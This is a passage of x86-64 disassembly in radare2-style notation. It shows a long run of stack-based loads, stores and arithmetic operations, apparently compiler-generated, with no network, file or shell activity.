mov eax, dword [rax]
mov rcx, qword [rsp + 0xc148]
mov qword [rsp + 0xdb80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb80]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6b40], eax
mov rax, qword [rsp + 0xbfc8]
mov qword [rsp + 0xdb88], rax
mov rax, qword [0x1402c9288]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x139]
and eax, ecx
mov rcx, qword [0x1402c90b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd008]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16c0]
sub eax, ecx
mov word [rsp + 0x1638], ax
movzx eax, word [rsp + 0x1934]
mov rcx, qword [rsp + 0xd5a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1748], ax
lea rax, [rsp + 0xce]
mov qword [rsp + 0xdb90], rax
movsx eax, word [rsp + 0x17c0]
movsx ecx, word [rsp + 0x17a8]
sub eax, ecx
mov rcx, qword [rsp + 0xd5c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x6cb4]
mov dword [rsp + 0x6d40], eax
mov rax, qword [rsp + 0xc200]
mov rcx, qword [rsp + 0xcb70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd578]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd7e0]
mov rcx, qword [rsp + 0xd808]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc5c0], rax
mov eax, dword [rsp + 0x69c4]
mov dword [rsp + 0x6d44], eax
movsx eax, word [rsp + 0x1674]
movsx ecx, word [rsp + 0x1758]
and eax, ecx
mov word [rsp + 0x154c], ax
mov rax, qword [rsp + 0xc9e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd200]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74ea], al
mov rax, qword [0x1402c9150]
movzx eax, word [rax]
mov word [rsp + 0x1968], ax
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x140]
add eax, ecx
mov rcx, qword [rsp + 0xcfe8]
mov byte [rcx], al
lea rax, [rsp + 0x1804]
mov qword [rsp + 0xdb98], rax
mov eax, dword [rsp + 0x6a7c]
mov ecx, dword [rsp + 0x6b34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc128]
movzx ecx, al
mov rax, qword [rsp + 0xc900]
shr rax, cl
mov qword [rsp + 0xc2e0], rax
lea rax, [rsp + 0x6c94]
mov qword [rsp + 0xdba0], rax
mov rax, qword [rsp + 0xbf90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5f8]
mov qword [rsp + 0xdba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdba8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbd88], rax
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
mov byte [rsp + 0x150], al
lea rax, [rsp + 0x61]
mov qword [0x1402c94c8], rax
mov rax, qword [rsp + 0xd398]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd7d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
movsx eax, word [0x1402c9338]
mov rcx, qword [rsp + 0xccd0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd620]
mov word [rcx], ax
lea rax, [rsp + 0x171c]
mov qword [rsp + 0xdbb0], rax
mov rax, qword [rsp + 0xbe40]
mov ecx, dword [rsp + 0x6c74]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x69e4], eax
lea rax, [rsp + 0xbde8]
mov qword [rsp + 0xdbb8], rax
mov rax, qword [rsp + 0xc4c0]
mov rcx, qword [rsp + 0xc668]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd030], rax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x6a04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cdc], eax
movzx eax, word [rsp + 0x1964]
mov word [rsp + 0x196c], ax
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x67]
add eax, ecx
mov byte [0x1402c90b6], al
mov rax, qword [rsp + 0xd568]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1730]
sub eax, ecx
mov rcx, qword [rsp + 0xd8f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcc68]
movzx eax, byte [rax]
mov byte [rsp + 0x151], al
movsx eax, word [rsp + 0x16f0]
mov rcx, qword [rsp + 0xc398]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd778]
mov word [rcx], ax
lea rax, [rsp + 0xce90]
mov qword [rsp + 0xdbc0], rax
mov rax, qword [rsp + 0xc268]
mov ecx, dword [rsp + 0x6ce0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b84], eax
mov rax, qword [rsp + 0xd528]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a4c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xca40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf00]
mov rax, qword [rax]
mov qword [rsp + 0xdbc8], rax
movsx eax, byte [rsp + 0x149]
movsx ecx, byte [rsp + 0x10f]
add eax, ecx
mov rcx, qword [rsp + 0xca70]
mov byte [rcx], al
movzx eax, word [rsp + 0x1700]
movzx ecx, word [rsp + 0x196c]
xor eax, ecx
mov word [0x1402c757c], ax
mov rax, qword [0x1402c9268]
movzx eax, word [rax]
mov word [rsp + 0x1970], ax
movzx eax, byte [rsp + 0x143]
mov rcx, qword [rsp + 0xc368]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0xd1c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
sar eax, cl
mov byte [rsp + 0xee], al
movzx eax, word [0x1402c7574]
mov word [rsp + 0x1974], ax
mov rax, qword [rsp + 0xd968]
mov rcx, qword [rsp + 0xd1a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb58], rax
lea rax, [rsp + 0xd1f0]
mov qword [rsp + 0xdbd0], rax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x6ba0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d3c], eax
mov rax, qword [rsp + 0xc5d0]
mov ecx, dword [rsp + 0x6bfc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x69e4], eax
lea rax, [rsp + 0x1904]
mov qword [0x1402c94d0], rax
mov rax, qword [0x1402c94a8]
movzx eax, byte [rax]
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xd078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xad]
sub eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
mov word [rsp + 0x1978], ax
mov rax, qword [rsp + 0xd240]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8e]
add eax, ecx
mov byte [rsp + 0xb2], al
mov rax, qword [rsp + 0xc890]
mov ecx, dword [rsp + 0x6a14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
mov dword [rsp + 0x6d48], eax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xc7a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbf38], rax
lea rax, [rsp + 0xc170]
mov qword [rsp + 0xdbd8], rax
mov rax, qword [rsp + 0xc3a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18e8]
add eax, ecx
mov rcx, qword [0x1402c93a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [rsp + 0x75]
sub eax, ecx
mov rcx, qword [rsp + 0xc918]
mov byte [rcx], al
mov rax, qword [rsp + 0xc828]
movzx eax, byte [rax]
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18ec]
add eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x94]
mov rcx, qword [rsp + 0xc928]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0xd9c0]
mov eax, dword [rax]
mov dword [rsp + 0x6d4c], eax
mov rax, qword [rsp + 0xcd80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd38]
mov qword [rsp + 0xdbe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdbe0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd9a0], rax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xdbe8], rax
mov rax, qword [rsp + 0xd600]
mov rcx, qword [rsp + 0xbe88]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd458], rax
lea rax, [rsp + 0x16a4]
mov qword [0x1402c94d8], rax
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74c6]
xor eax, ecx
mov rcx, qword [rsp + 0xd450]
mov byte [rcx], al
mov rax, qword [rsp + 0xcce0]
movzx eax, word [rax]
mov word [rsp + 0x197c], ax
mov rax, qword [rsp + 0xd7a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7e]
shl eax, cl
mov rcx, qword [rsp + 0xcb88]
mov byte [rcx], al
lea rax, [rsp + 0x161c]
mov qword [rsp + 0xdbf0], rax
mov rax, qword [rsp + 0xc778]
mov rcx, qword [rsp + 0xd140]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc150]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6bc4]
mov ecx, dword [rsp + 0x6a98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68fc], eax
mov eax, dword [rsp + 0x6cdc]
mov dword [rsp + 0x6d50], eax
mov rax, qword [rsp + 0xc988]
mov rcx, qword [rsp + 0xbb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcca8], rax
movsx eax, byte [rsp + 0x58]
movsx ecx, byte [rsp + 0xf2]
sub eax, ecx
mov rcx, qword [0x1402c93f0]
mov byte [rcx], al
lea rax, [rsp + 0x1580]
mov qword [rsp + 0xdbf8], rax
movsx eax, word [rsp + 0x155c]
mov rcx, qword [rsp + 0xd338]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17b0], ax
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0x154], al
movsx eax, word [rsp + 0x1820]
movsx ecx, word [0x1402c74e4]
add eax, ecx
mov word [rsp + 0x15bc], ax
mov rax, qword [rsp + 0xd7c0]
mov rcx, qword [rsp + 0xc060]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc820], rax
mov rax, qword [rsp + 0xcbb0]
mov eax, dword [rax]
mov dword [rsp + 0x6d54], eax
mov rax, qword [rsp + 0xd330]
mov rcx, qword [rsp + 0xcb98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xce18]
mov qword [rcx], rax
mov eax, dword [rsp + 0x69d8]
mov dword [rsp + 0x6d58], eax
mov rax, qword [rsp + 0xd820]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov rcx, qword [0x1402c9458]
mov byte [rcx], al
mov rax, qword [rsp + 0xc928]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd8]
add eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0xd620]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15e8]
sub eax, ecx
mov word [rsp + 0x185c], ax
lea rax, [rsp + 0x1790]
mov qword [rsp + 0xdc00], rax
mov rax, qword [0x1402c91f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc910]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0xd870]
mov qword [rsp + 0xdc08], rax
mov rax, qword [rsp + 0xc0e0]
mov rcx, qword [rsp + 0xc860]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb68], rax
mov rax, qword [rsp + 0xce38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402c90a0]
shr eax, cl
mov dword [rsp + 0x6d10], eax
lea rax, [rsp + 0x6bb8]
mov qword [rsp + 0xdc10], rax
lea rax, [rsp + 0x1704]
mov qword [0x1402c94e0], rax
mov rax, qword [rsp + 0xbd90]
movzx eax, word [rax]
movzx ecx, word [0x1402c91f8]
or eax, ecx
mov word [rsp + 0x1938], ax
lea rax, [rsp + 0x6d]
mov qword [rsp + 0xdc18], rax
mov rax, qword [rsp + 0xd440]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x141]
and eax, ecx
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0xcbc0]
movsx eax, word [rax]
mov rcx, qword [0x1402c9330]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x170c], ax
mov eax, dword [rsp + 0x6a90]
mov dword [rsp + 0x6d5c], eax
mov rax, qword [rsp + 0xdbb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdab0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb28], rax
lea rax, [0x1402c7490]
mov qword [rsp + 0xdc20], rax
mov rax, qword [rsp + 0xcda8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6af4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68e4], eax
movzx eax, word [rsp + 0x179c]
movzx ecx, word [rsp + 0x1594]
imul eax, ecx
mov rcx, qword [0x1402c9178]
mov word [rcx], ax
mov rax, qword [rsp + 0xc908]
movzx eax, byte [rax]
mov byte [rsp + 0x155], al
movsx eax, word [rsp + 0x15ec]
mov rcx, qword [rsp + 0xcbe8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
movsx eax, byte [rsp + 0xf6]
mov rcx, qword [rsp + 0xdaa8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb80]
movzx eax, byte [rax]
mov byte [rsp + 0x156], al
mov eax, dword [rsp + 0x6bf8]
mov ecx, dword [rsp + 0x6d0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc4b8]
mov dword [rcx], eax
lea rax, [rsp + 0xc0c8]
mov qword [rsp + 0xdc28], rax
mov rax, qword [rsp + 0xcd28]
mov rcx, qword [rsp + 0xca28]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd470]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68d4]
mov ecx, dword [rsp + 0x6a00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69ac], eax
lea rax, [rsp + 0x18f0]
mov qword [rsp + 0xdc30], rax
lea rax, [0x1402c74ef]
mov qword [0x1402c94e8], rax
mov rax, qword [rsp + 0xc798]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd690]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1820], ax
mov rax, qword [rsp + 0xdc18]
movzx eax, byte [rax]
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x85]
mov rcx, qword [rsp + 0xc908]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov byte [rcx], al
mov rax, qword [rsp + 0xda70]
movzx ecx, al
mov rax, qword [rsp + 0xcc00]
shl rax, cl
mov qword [rsp + 0xd750], rax
mov rax, qword [rsp + 0xc1a0]
mov qword [rsp + 0xdc38], rax
mov rax, qword [rsp + 0xd188]
mov rcx, qword [rsp + 0xcf28]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc890]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc010]
mov eax, dword [rax]
mov dword [rsp + 0x6d60], eax
movsx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0xd648]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0xcce0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c92d8], ax
movzx eax, byte [rsp + 0x121]
mov rcx, qword [rsp + 0xd4c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x146], al
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
mov word [rsp + 0x1980], ax
movsx eax, byte [rsp + 0x153]
movsx ecx, byte [rsp + 0x5b]
add eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0xc730]
mov qword [rsp + 0xdc40], rax
mov rax, qword [rsp + 0xcb50]
mov ecx, dword [rsp + 0x6c98]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a4c], eax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6d64], eax
mov rax, qword [rsp + 0xd9f8]
mov rcx, qword [rsp + 0xbd20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc170], rax
movzx eax, word [rsp + 0x177c]
movzx ecx, word [rsp + 0x1934]
add eax, ecx
mov rcx, qword [rsp + 0xd8f0]
mov word [rcx], ax
lea rax, [0x1402c756c]
mov qword [0x1402c94f0], rax
lea rax, [rsp + 0x18f4]
mov qword [rsp + 0xdc48], rax
movsx eax, word [rsp + 0x17dc]
movsx ecx, word [rsp + 0x1588]
sub eax, ecx
mov word [rsp + 0x15b4], ax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0xdc50], rax
mov eax, dword [rsp + 0x6bb8]
mov ecx, dword [rsp + 0x6b4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69f4], eax
mov rax, qword [rsp + 0xd1d8]
mov rcx, qword [rsp + 0xbcb0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
lea rax, [rsp + 0x699c]
mov qword [rsp + 0xdc58], rax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xd470]
mov qword [rsp + 0xdc60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc60]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbe30], rax
movzx eax, word [rsp + 0x1760]
mov word [rsp + 0x1984], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov word [0x1402c94f8], ax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa2]
or eax, ecx
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0xc8d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
cdq
idiv ecx
mov byte [rsp + 0x152], al
lea rax, [rsp + 0x103]
mov qword [rsp + 0xdc68], rax
mov rax, qword [0x1402c9350]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1750]
sar eax, cl
mov word [rsp + 0x1910], ax
mov rax, qword [rsp + 0xcf30]
mov rax, qword [rax]
mov qword [rsp + 0xdc70], rax
mov rax, qword [rsp + 0xc5d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b18]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc850]
mov dword [rcx], eax
mov eax, dword [rsp + 0x69f4]
mov dword [rsp + 0x6d68], eax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xdb08]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbf80]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1640]
mov rcx, qword [rsp + 0xce60]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c93a0]
mov word [rcx], ax
movzx eax, byte [0x1402c74eb]
mov rcx, qword [rsp + 0xca38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdc18]
mov byte [rcx], al
lea rax, [rsp + 0x107]
mov qword [rsp + 0xdc78], rax
mov rax, qword [rsp + 0xbe90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd938]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x161c], ax
mov rax, qword [rsp + 0xcef0]
movzx eax, word [rax]
mov word [rsp + 0x1988], ax
mov rax, qword [rsp + 0xc438]
mov rcx, qword [rsp + 0xd458]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd7b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd5e8]
mov rcx, qword [rsp + 0xc748]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6998], eax
lea rax, [rsp + 0x695c]
mov qword [rsp + 0xdc80], rax
mov rax, qword [rsp + 0xc1e8]
mov rcx, qword [rsp + 0xd030]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc360], rax
lea rax, [rsp + 0xec]
mov qword [0x1402c9500], rax
movzx eax, byte [rsp + 0x5b]
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0xd9b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x182c]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0xcd]
add eax, ecx
mov rcx, qword [rsp + 0xd040]
mov byte [rcx], al
mov rax, qword [rsp + 0xd7d0]
movzx eax, byte [rax]
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0xbee8]
mov rcx, qword [rsp + 0xc530]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3a0], rax
lea rax, [rsp + 0x68d4]
mov qword [rsp + 0xdc88], rax
mov rax, qword [rsp + 0xc060]
movzx ecx, al
mov rax, qword [rsp + 0xbd60]
shl rax, cl
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf28]
mov ecx, dword [rsp + 0x6ab4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6b1c], eax
mov rax, qword [rsp + 0xd170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x180c]
sar eax, cl
mov word [0x1402c7528], ax
lea rax, [rsp + 0x1860]
mov qword [rsp + 0xdc90], rax
mov rax, qword [rsp + 0xdb90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc248]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x147], al
lea rax, [rsp + 0x1760]
mov qword [rsp + 0xdc98], rax
mov rax, qword [rsp + 0xca70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6a]
and eax, ecx
mov byte [rsp + 0x117], al
lea rax, [rsp + 0x6aa0]
mov qword [rsp + 0xdca0], rax
mov rax, qword [rsp + 0xc150]
mov rcx, qword [rsp + 0xcc28]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc688]
mov qword [rcx], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xd068]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc360], rax
mov rax, qword [rsp + 0xc890]
mov eax, dword [rax]
mov dword [rsp + 0x6d6c], eax
mov rax, qword [rsp + 0xd1f8]
movzx eax, byte [rax]
mov rcx, qword [0x1402c9210]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c9148]
mov byte [rcx], al
mov rax, qword [rsp + 0xd670]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x122]
sub eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1840]
mov word [rsp + 0x198c], ax
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov rcx, qword [0x1402c9300]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1704], ax
mov rax, qword [rsp + 0xd020]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd820]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0x6ab8]
mov qword [rsp + 0xdca8], rax
mov rax, qword [rsp + 0xbfc8]
mov rcx, qword [rsp + 0xc418]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdc28]
mov qword [rcx], rax
lea rax, [rsp + 0xc780]
mov qword [rsp + 0xdcb0], rax
mov rax, qword [rsp + 0xc7f8]
mov ecx, dword [rsp + 0x6cf0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6cf4], eax
movzx eax, byte [rsp + 0x13f]
movzx ecx, byte [rsp + 0xfc]
sar eax, cl
mov byte [0x1402c74f7], al
movsx eax, word [rsp + 0x15bc]
mov rcx, qword [rsp + 0xcb30]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1694], ax
movzx eax, word [rsp + 0x1654]
mov word [rsp + 0x1990], ax
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0xc5]
xor eax, ecx
mov rcx, qword [rsp + 0xbb78]
mov byte [rcx], al
movzx eax, word [rsp + 0x1950]
mov word [rsp + 0x1994], ax
mov rax, qword [rsp + 0xcd50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c04]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a44], eax
mov rax, qword [rsp + 0xd178]
mov qword [rsp + 0xdcb8], rax
mov rax, qword [rsp + 0xd8f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d38], eax
mov rax, qword [rsp + 0xc810]
mov rcx, qword [rsp + 0xc0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc888], rax
lea rax, [0x1402c74e2]
mov qword [0x1402c9508], rax
lea rax, [rsp + 0x10f]
mov qword [rsp + 0xdcc0], rax
mov rax, qword [rsp + 0xd3c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcce0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc658]
mov word [rcx], ax
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0x15a], al
mov rax, qword [0x1402c9300]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x184c]
add eax, ecx
mov rcx, qword [rsp + 0xd568]
mov word [rcx], ax
mov rax, qword [rsp + 0xc7a0]
mov rcx, qword [rsp + 0xd1d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd480], rax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x6d70], eax
mov rax, qword [rsp + 0xc540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d50], eax
mov rax, qword [rsp + 0xd668]
mov qword [rsp + 0xdcc8], rax
mov rax, qword [rsp + 0xd500]
movzx eax, byte [rax]
movzx ecx, byte [reloc.SHELL32.dll_ILSaveToStream]
sub eax, ecx
mov byte [0x1402c74c6], al
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1680], ax
movsx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x1994]
mov qword [rsp + 0xdcd0], rax
movsx eax, word [rsp + 0x15ec]
mov rcx, qword [rsp + 0xd4e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1688], ax
mov eax, dword [rsp + 0x69a8]
mov dword [rsp + 0x6d74], eax
mov rax, qword [rsp + 0xdca0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc5a8]
mov qword [rsp + 0xdcd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdcd8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6b18], eax
mov rax, qword [rsp + 0xd2f8]
mov rcx, qword [rsp + 0xd108]
mov qword [rsp + 0xdce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdce0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xce58], rax
lea rax, [rsp + 0xbd40]
mov qword [rsp + 0xdce8], rax
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [0x1402c90a5]
xor eax, ecx
mov byte [rsp + 0x103], al
movzx eax, word [rsp + 0x15c8]
mov rcx, qword [rsp + 0xda80]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402c7580], ax
movzx eax, word [rsp + 0x1988]
mov word [rsp + 0x1998], ax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0xbd28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x80], al
movzx eax, byte [rsp + 0xd5]
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0xc7b0]
mov ecx, dword [rsp + 0x6a68]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc638]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd210]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc128], rax
mov eax, dword [rsp + 0x6b58]
mov dword [rsp + 0x6d78], eax
mov rax, qword [rsp + 0xcd18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd8a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc550], rax
movzx eax, word [0x1402c9370]
